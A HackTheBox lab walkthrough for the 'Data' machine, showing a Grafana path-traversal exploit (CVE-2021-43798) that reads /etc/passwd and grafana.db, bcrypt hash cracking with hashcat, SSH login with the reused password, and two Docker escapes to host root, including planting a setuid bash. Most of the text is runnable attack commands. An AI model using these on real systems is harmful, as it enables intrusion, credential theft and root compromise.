Data writeup & walkthrough

Data is an easy HackTheBox Linux machine exploiting a Grafana LFI vulnerability to leak credentials, then escaping a Docker container to gain root on the host.

These commands were used in this walkthrough: https://youtu.be/nwoxia9Gcuk (Grafana → Docker → Root)

Access Path

no access => boris => container root => host root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.


Initial Exploitation: Grafana LFI

Grafana (CVE-2021-43798) has a path-traversal in its plugin route. We read /etc/passwd to confirm it, then pull grafana.db, which stores the user password hashes.

# Read /etc/passwd via path traversal in Grafana
curl --path-as-is 'http://IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'

# Dump the Grafana database (contains user hashes)
curl --path-as-is 'http://IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o ./grafana.db

Extract & Crack Grafana Hashes

Grafana stores bcrypt hashes alongside a separate salt, so we convert them to hashcat format and crack them with mode 10900.

# Use this tool to extract and convert Grafana hashes:
# https://github.com/iamaldi/grafana2hashcat

python3 grafana2hashcat.py ./grafana.db -o ./hashcat_hashes.txt

# Crack the hashes using Hashcat (mode 10900 = bcrypt), hash,salt
hashcat -m 10900 hashcat_hashes.txt --wordlist /usr/share/wordlists/rockyou.txt

Access the Host via SSH

The cracked password is reused for SSH, landing a shell as boris.

ssh boris@<ip>
# Password: <from cracked hash>

Privilege Escalation via Docker

boris can run docker exec as root via sudo. We locate the running container, enter it as root, and escape to the host - either by mounting the host disk (/dev/sda1) inside the privileged container, or by abusing a host-mapped file to plant a setuid-root binary.

sudo -l
# => You can run: (root) NOPASSWD: /snap/bin/docker exec *

# ─── Find Container ID ─────────────────────────────────────────────────────

# Option 1: Try listing containers (if allowed)
docker ps

# Option 2: Check local Docker metadata
ls /var/snap/docker/common/var-lib-docker/containers/

# Option 3: Look for running containerd shims
ps aux | grep containerd-shim


# ─── Enter the Container as Root ───────────────────────────────────────────

sudo /snap/bin/docker exec -it -u root <container_id> /bin/bash


# ─── Method 1: Escape via /dev mount ───────────────────────────────────────

sudo docker exec -u root --privileged e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 mkdir /mnt/host

sudo docker exec -u root --privileged e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 mount /dev/sda1 /mnt/host

sudo docker exec -u root --privileged -it e6ff5b1cbc85cdb2157879161e42a08c1062da655f5a6b7e24488342339d4b81 /bin/bash
ls /mnt/host


# ─── Method 2: Overwrite Host File via Mapped Volume ───────────────────────

# Step 1 (host - unprivileged user):
cat /var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname
# → confirm that it's writable and mapped to host (in our case, we had no access but that's okay)

# Step 2 (inside container - as root):
chmod 777 /etc/hostname

# Step 3 (back on host):
cat /bin/bash > /var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname

# Step 4 (inside container):
chown root:root /etc/hostname
chmod 4755 /etc/hostname  # make it setuid root

# Step 5 (host - unprivileged user):
/var/snap/docker/common/var-lib-docker/containers/<container_id>/hostname -p
# → You now can read root dir or add your pub ssh_key.